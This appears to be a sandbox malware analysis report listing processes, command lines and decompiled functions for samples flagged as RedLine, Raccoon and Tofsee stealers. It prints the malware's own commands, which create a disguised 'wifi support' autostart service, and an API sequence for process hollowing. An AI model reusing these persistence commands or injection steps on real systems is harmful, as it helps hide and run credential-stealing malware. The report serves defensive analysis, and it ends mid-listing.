Commandline:	C:\Users\user\AppData\Local\Temp\55AD.exe
Imagebase:	0xdf0000
File size:	3826440 bytes
MD5 hash:	F7A7DB5B9D6CB970AEC8C0D44F7F6661
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000002.1024501485.0000000000DF2000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000003.783113283.0000000000D90000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 64%, ReversingLabs

Chronological Activities

Analysis Process: Versato.exe.com PID: 6804 Parent PID: 6976

General

Start time:	16:02:40
Start date:	07/09/2021
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com
Wow64 process (32bit):	true
Commandline:	Versato.exe.com g
Imagebase:	0x1180000
File size:	893608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6100 Parent PID: 6788

General

Start time:	16:02:42
Start date:	07/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 6965.exe PID: 6428 Parent PID: 3424

General

Start time:	16:02:45
Start date:	07/09/2021
Path:	C:\Users\user\AppData\Local\Temp\6965.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\6965.exe
Imagebase:	0x400000
File size:	277504 bytes
MD5 hash:	FDCC1593F4E70266CF9E08B2B841CE21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000018.00000002.801390436.0000000002D80000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000018.00000003.779981603.0000000004780000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: PING.EXE PID: 6344 Parent PID: 6976

General

Start time:	16:02:45
Start date:	07/09/2021
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping localhost
Imagebase:	0x330000
File size:	18944 bytes
MD5 hash:	70C24A306F768936563ABDADB9CA9108
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6420 Parent PID: 568

General

Start time:	16:02:45
Start date:	07/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: Versato.exe.com PID: 5892 Parent PID: 6804

General

Start time:	16:02:46
Start date:	07/09/2021
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com g
Imagebase:	0x1180000
File size:	893608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5244 Parent PID: 3424

General

Start time:	16:02:46
Start date:	07/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\rundll32.exe' C:\Windows\system32\advpack.dll,DelNodeRunDLL32 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\'
Imagebase:	0x7ff725210000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 75AA.exe PID: 5692 Parent PID: 3424

General

Start time:	16:02:48
Start date:	07/09/2021
Path:	C:\Users\user\AppData\Local\Temp\75AA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\75AA.exe
Imagebase:	0x400000
File size:	515072 bytes
MD5 hash:	B4093FFC5BC8C8B9F7F2475E47645B3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 0000001E.00000000.794034044.00000000021A0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 0000001E.00000000.799468535.000000000046C000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 0000001E.00000002.986163730.00000000021A0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 0000001E.00000000.800342730.00000000021A0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 0000001E.00000003.786552941.0000000002450000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 0000001E.00000000.793371221.000000000046C000.00000040.00020000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 41%, ReversingLabs

Chronological Activities

Analysis Process: cmd.exe PID: 7148 Parent PID: 6428

General

Start time:	16:02:50
Start date:	07/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /C mkdir C:\Windows\SysWOW64\zofcwexy\
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 1296 Parent PID: 7148

General

Start time:	16:02:51
Start date:	07/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 829C.exe PID: 4264 Parent PID: 3424

General

Start time:	16:02:52
Start date:	07/09/2021
Path:	C:\Users\user\AppData\Local\Temp\829C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\829C.exe
Imagebase:	0x400000
File size:	535552 bytes
MD5 hash:	0C55A9859F5C1145D952E168AB7139FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000021.00000003.793177750.0000000004880000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000021.00000002.795259479.000000000046C000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000021.00000002.797166721.00000000047D0000.00000040.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: cmd.exe PID: 5988 Parent PID: 6428

General

Start time:	16:02:52
Start date:	07/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\krpafaoc.exe' C:\Windows\SysWOW64\zofcwexy\
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6872 Parent PID: 568

General

Start time:	16:02:52
Start date:	07/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 2480 Parent PID: 5988

General

Start time:	16:02:52
Start date:	07/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 5792 Parent PID: 6872

General

Start time:	16:02:52
Start date:	07/09/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5692 -ip 5692
Imagebase:	0xe50000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 4640 Parent PID: 6428

General

Start time:	16:02:53
Start date:	07/09/2021
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\sc.exe' create zofcwexy binPath= 'C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe /d\'C:\Users\user\AppData\Local\Temp\6965.exe\'' type= own start= auto DisplayName= 'wifi support'
Imagebase:	0x1290000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 1668 Parent PID: 4640

General

Start time:	16:02:54
Start date:	07/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 4488 Parent PID: 6428

General

Start time:	16:02:54
Start date:	07/09/2021
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\sc.exe' description zofcwexy 'wifi internet conection'
Imagebase:	0x1290000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4832 Parent PID: 4488

General

Start time:	16:02:55
Start date:	07/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 7072 Parent PID: 6428

General

Start time:	16:02:56
Start date:	07/09/2021
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\sc.exe' start zofcwexy
Imagebase:	0x1290000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5712 Parent PID: 7072

General

Start time:	16:02:56
Start date:	07/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: DWVByMCYL8.exe PID: 7076 Parent PID: 816 DWVByMCYL8.exeCOMMON

Executed Functions

Function 02CB0110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02CB0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 02CB016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02CB0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02CB0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02CB0283
GetThreadContext.KERNELBASE(00000000,?), ref: 02CB029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02CB02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 02CB02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02CB0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 02CB032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02CB0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02CB03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 02CB03E1
ResumeThread.KERNELBASE(00000000), ref: 02CB03ED
ExitProcess.KERNEL32(00000000), ref: 02CB0412

Memory Dump Source

Source File: 00000000.00000002.665795579.0000000002CB0000.00000040.00000001.sdmp, Offset: 02CB0000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: b4da79510591bedae0c4237a358fd6ee8304dd6e5b363a6564a0eaa93e342756
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 2BB1B574A00208AFDB44CF98C895F9EBBB5BF88314F248158E909AB395D771AE45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02CB0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02CB0533

Strings

saodkfnosa9uin, xrefs: 02CB04DA
mfoaskdfnoa, xrefs: 02CB0520, 02CB0523
0, xrefs: 02CB0492
d, xrefs: 02CB0584

Memory Dump Source

Source File: 00000000.00000002.665795579.0000000002CB0000.00000040.00000001.sdmp, Offset: 02CB0000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 5707b2ebcdd92a659f02c7708f4060883ea9f0a17bb1e75e2b1d17e8e75a04dd
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 1A512B70D08388DEEB12CBD8C849BDEBFB66F11708F144058D5447F286C3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 02CB05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 02CB05EC

Strings

apfHQ, xrefs: 02CB05E2, 02CB05E5
o, xrefs: 02CB0600

Memory Dump Source

Source File: 00000000.00000002.665795579.0000000002CB0000.00000040.00000001.sdmp, Offset: 02CB0000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: e679b965806871f0bbed61513a2aedf71b26176c2ea2cec0cc4561b091d93619
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: E1011E70C0425CEADB11DBA8C5187EEBFB5AF41308F148099C8092B242D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00407930, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407930() {
				void* _t1;

				_t1 = E00407860(0); // executed
				return _t1;
			}

0x00407937
0x00407940

APIs

__encode_pointer.LIBCMTD ref: 00407937

Part of subcall function 00407860: TlsGetValue.KERNEL32(00000002), ref: 00407875
Part of subcall function 00407860: TlsGetValue.KERNEL32(00000002,00000004), ref: 00407896
Part of subcall function 00407860: __crt_wait_module_handle.LIBCMTD ref: 004078AC
Part of subcall function 00407860: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004078C6
Part of subcall function 00407860: RtlEncodePointer.NTDLL(?), ref: 004078E7

Memory Dump Source

Source File: 00000000.00000002.665326610.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665323063.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665346705.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665354711.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665358842.0000000000428000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.665369427.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665730611.0000000002B41000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 458b40f64e0a49bbe70259351022231659731798853122b6f9d7a0bc5ea3cdb6
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 49A011A388820C33E00030A3380BF023A0C83C0A38E080032FA0E0A28228A2B82080AB

Uniqueness

Uniqueness Score: -1.00%

Function 00402C20, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E004088D0(); // executed
				return L00402C40(_t3, _t4);
			}

0x00402c25
0x00402c30

APIs

___security_init_cookie.LIBCMTD ref: 00402C25

Memory Dump Source

Source File: 00000000.00000002.665326610.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665323063.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665346705.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665354711.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665358842.0000000000428000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.665369427.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665730611.0000000002B41000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: dd547748d33fe159a6cf795b17ce11f329cfb64abb1971ed4a5ee84bf4530fd7
Instruction ID: e6e9d2338881c6152bf15d496eab950bddd7a6247cfaddb9cb557a5337e3cda4
Opcode Fuzzy Hash: dd547748d33fe159a6cf795b17ce11f329cfb64abb1971ed4a5ee84bf4530fd7
Instruction Fuzzy Hash: 79A00212048F4816915833A7060F90F764D48C0718FD5403E7658321D75CBCA80141AE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00406550, Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00406550(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x4272f8; // 0xa112acf8
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x438800 = _t6;
				 *0x4387fc = _t20;
				 *0x4387f8 = _t22;
				 *0x4387f4 = _t19;
				 *0x4387f0 = _t25;
				 *0x4387ec = _t24;
				 *0x438818 = ss;
				 *0x43880c = cs;
				 *0x4387e8 = ds;
				 *0x4387e4 = es;
				 *0x4387e0 = fs;
				 *0x4387dc = gs;
				asm("pushfd");
				_pop( *0x438810);
				 *0x438804 =  *_t29;
				 *0x438808 = _v0;
				 *0x438814 =  &_a4;
				 *0x438750 = 0x10001;
				_t11 =  *0x438808; // 0x0
				 *0x438704 = _t11;
				 *0x4386f8 = 0xc0000409;
				 *0x4386fc = 1;
				_t21 =  *0x4272f8; // 0xa112acf8
				_v812 = _t21;
				_t23 =  *0x4272fc; // 0x5eed5307
				_v808 = _t23;
				 *0x438748 = IsDebuggerPresent();
				_push(1);
				E0040D490(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x422340);
				if( *0x438748 == 0) {
					_push(1);
					E0040D490(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00406550
0x00406550
0x00406550
0x00406550
0x00406550
0x00406550
0x00406550
0x00406556
0x00406558
0x00406558
0x0041223b
0x00412240
0x00412246
0x0041224c
0x00412252
0x00412258
0x0041225e
0x00412265
0x0041226c
0x00412273
0x0041227a
0x00412281
0x00412288
0x00412289
0x00412292
0x0041229a
0x004122a2
0x004122ad
0x004122b7
0x004122bc
0x004122c1
0x004122cb
0x004122d5
0x004122db
0x004122e1
0x004122e7
0x004122f3
0x004122f8
0x004122fa
0x00412304
0x0041230f
0x0041231c
0x0041231e
0x00412320
0x00412325
0x0041233d

APIs

IsDebuggerPresent.KERNEL32 ref: 004122ED
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00412304
UnhandledExceptionFilter.KERNEL32(00422340), ref: 0041230F
GetCurrentProcess.KERNEL32(C0000409), ref: 0041232D
TerminateProcess.KERNEL32(00000000), ref: 00412334

Memory Dump Source

Source File: 00000000.00000002.665326610.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665323063.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665346705.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665354711.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665358842.0000000000428000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.665369427.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665730611.0000000002B41000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: a084d4f86e631985371ab6116c714698ba623045d40444f1fda33978bbcbe974
Instruction ID: f3343e14489f178a7fc951789db2bb562d4a9e3a68324580ef4ae6d00fd36e22
Opcode Fuzzy Hash: a084d4f86e631985371ab6116c714698ba623045d40444f1fda33978bbcbe974
Instruction Fuzzy Hash: C021C0B8901304EBC314EF66FD45A54BBA5FB08314FA0A17EF81887361EBB456818F5E

Uniqueness

Uniqueness Score: -1.00%

Function 02CB0042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.665795579.0000000002CB0000.00000040.00000001.sdmp, Offset: 02CB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 2db243c022423b7766c18ef20415f17037b56b9d8eb9568161436539fc704232
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: BB117C72340100AFEB54DE65EC91EE773EAFF88360B198165E908CB311D676E801CBA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: DWVByMCYL8.exe PID: 7104 Parent PID: 7076 DWVByMCYL8.exeCOMMON

Executed Functions

Function 00401866, Relevance: 3.1, APIs: 2, Instructions: 51
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E00401866(void* __edx, void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				signed int* __edi;
				void* __esi;
				void* __ebp;
				void* _t8;
				void* _t10;
				void* _t12;
				intOrPtr* _t14;
				void* _t16;
				void* _t17;
				void* _t18;
				void* _t19;

				_t17 = __edx;
				_t8 = 0x189d;
				E0040119C(_t8, 0x5e, _t18, _t19, __eflags);
				_t14 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				_t10 = L004013D0(_t14, _t18, _t19); // executed
				_t21 = _t10;
				if(_t10 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t10);
					_push(_t14); // executed
					L004014AA(_t14, _t17, _t18, _t19); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				asm("hlt");
				_t12 = 0x189d;
				 *__edi =  !( *__edi);
				_t16 = 0x5e;
				E0040119C(_t12, _t16, _t18, _t19, _t21);
				return _t12;
			}

0x00401866
0x0040187c
0x00401898
0x0040189d
0x004018a5
0x004018ab
0x004018ac
0x004018af
0x004018b2
0x004018b3
0x004018b8
0x004018ba
0x004018bc
0x004018bf
0x004018c2
0x004018c3
0x004018c4
0x004018c4
0x004018cd
0x004018e2
0x004018dc
0x004018f4
0x004018ee
0x004018f6
0x004018ff

APIs

Sleep.KERNELBASE(00001388), ref: 004018A5
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018CD

Memory Dump Source

Source File: 00000001.00000002.711155918.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 119879c171422be2cac911d19cbcdca668b144991df56dec807884e10121a86e
Instruction ID: 0a019cd4b9b16fec648ae480f107f66fdd90bb2e14f08e50036174fccb847409
Opcode Fuzzy Hash: 119879c171422be2cac911d19cbcdca668b144991df56dec807884e10121a86e
Instruction Fuzzy Hash: 64012C37108205FADB047AD19C45EBA3718AB05764F308537BA13B80F19A7D8752B76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187F, Relevance: 3.0, APIs: 2, Instructions: 45
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040187F(void* __eax, intOrPtr* __ebx, void* __edx, void* __edi, void* __esi) {
				void* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t16;
				void* _t19;
				void* _t20;
				void* _t25;
				void* _t28;

				_t23 = __esi;
				_t21 = __edi;
				_t20 = __edx;
				_t28 = __eax -  *__ebx;
				_t9 = 0x189d;
				E0040119C(_t9, 0x5e, __edi, __esi, _t28);
				_t16 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t16); // executed
				_t11 = L004013D0(_t16, __edi, __esi); // executed
				_t29 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t11);
					_push(_t16); // executed
					L004014AA(_t16, _t20, _t21, _t23); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				asm("hlt");
				_t13 = 0x189d;
				 *__edi =  !( *__edi);
				_t19 = 0x5e;
				E0040119C(_t13, _t19, _t21, _t23, _t29);
				return _t13;
			}

0x0040187f
0x0040187f
0x0040187f
0x0040187f
0x0040187c
0x00401898
0x0040189d
0x004018a5
0x004018ab
0x004018ac
0x004018af
0x004018b2
0x004018b3
0x004018b8
0x004018ba
0x004018bc
0x004018bf
0x004018c2
0x004018c3
0x004018c4
0x004018c4
0x004018cd
0x004018e2
0x004018dc
0x004018f4
0x004018ee
0x004018f6
0x004018ff

APIs

